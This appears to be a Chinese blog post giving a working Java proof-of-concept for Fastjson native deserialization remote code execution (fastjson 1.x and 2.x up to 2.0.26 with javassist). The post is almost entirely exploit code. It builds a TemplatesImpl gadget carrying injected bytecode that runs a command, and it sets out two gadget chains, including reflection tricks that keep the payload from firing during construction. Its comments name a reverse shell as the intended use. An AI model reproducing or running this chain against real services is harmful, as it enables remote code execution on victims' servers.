Fastjson原生反序列化
fastjson1.x或fastjson2<=2.0.26,要求存在javaassit依赖.
package org.example;
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
public class Demo8 {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static TemplatesImpl getTemplatesImpl() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "RANDOM");
setValue(templates, "_tfactory", null);
return templates;
}
public static byte[] serialize(Object object) throws Exception{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(object);
return baos.toByteArray();
}
public static Object deserialize(byte[] byteArray) throws Exception{
ByteArrayInputStream bais = new ByteArrayInputStream(byteArray);
ObjectInputStream ois = new ObjectInputStream(bais);
return ois.readObject();
}
public static void main(String[] args) throws Exception{
// poc3();
poc4();
}
public static void poc3() throws Exception{
TemplatesImpl templates = getTemplatesImpl();
JSONArray array = new JSONArray();
array.add(templates);
BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
setValue(exception, "val", array);
HashMap map = new HashMap();
map.put(templates, exception);
deserialize(serialize(map));
}
public static void poc4() throws Exception{
TemplatesImpl templates = getTemplatesImpl();
JSONArray array = new JSONArray();
array.add(templates);
XString xString = new XString("111");
HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
// 这里的顺序很重要,不然在调用equals方法时可能调用的是JSONArray.equals(XString)
hashMap1.put("yy", array);
hashMap1.put("zZ", xString);
hashMap2.put("yy", xString);
hashMap2.put("zZ", array);
HashMap map = new HashMap();
// 这里是在通过反射添加map的元素,而非put添加元素,因为put添加元素会导致在put的时候就会触发RCE,
// 一方面会导致报错异常退出,代码走不到序列化那里;另一方面如果是命令执行是反弹shell,还可能会导致反弹的是自己的shell而非受害者的shell
Field size = map.getClass().getDeclaredField("size");
size.setAccessible(true);
size.set(map, 2);
Class<?> aClass = Class.forName("java.util.HashMap$Node");
Constructor<?> constructor = aClass.getDeclaredConstructor(int.class, Object.class, Object.class, aClass);
constructor.setAccessible(true);
Object o = Array.newInstance(aClass, 2);
Array.set(o, 0, constructor.newInstance(0, hashMap1, "a", null));
Array.set(o, 1, constructor.newInstance(0, hashMap2, "b", null));
Field table = map.getClass().getDeclaredField("table");
table.setAccessible(true);
table.set(map, o);
HashMap obj = new HashMap();
obj.put(templates, map);
deserialize(serialize(obj));
}
}

浙公网安备 33010602011771号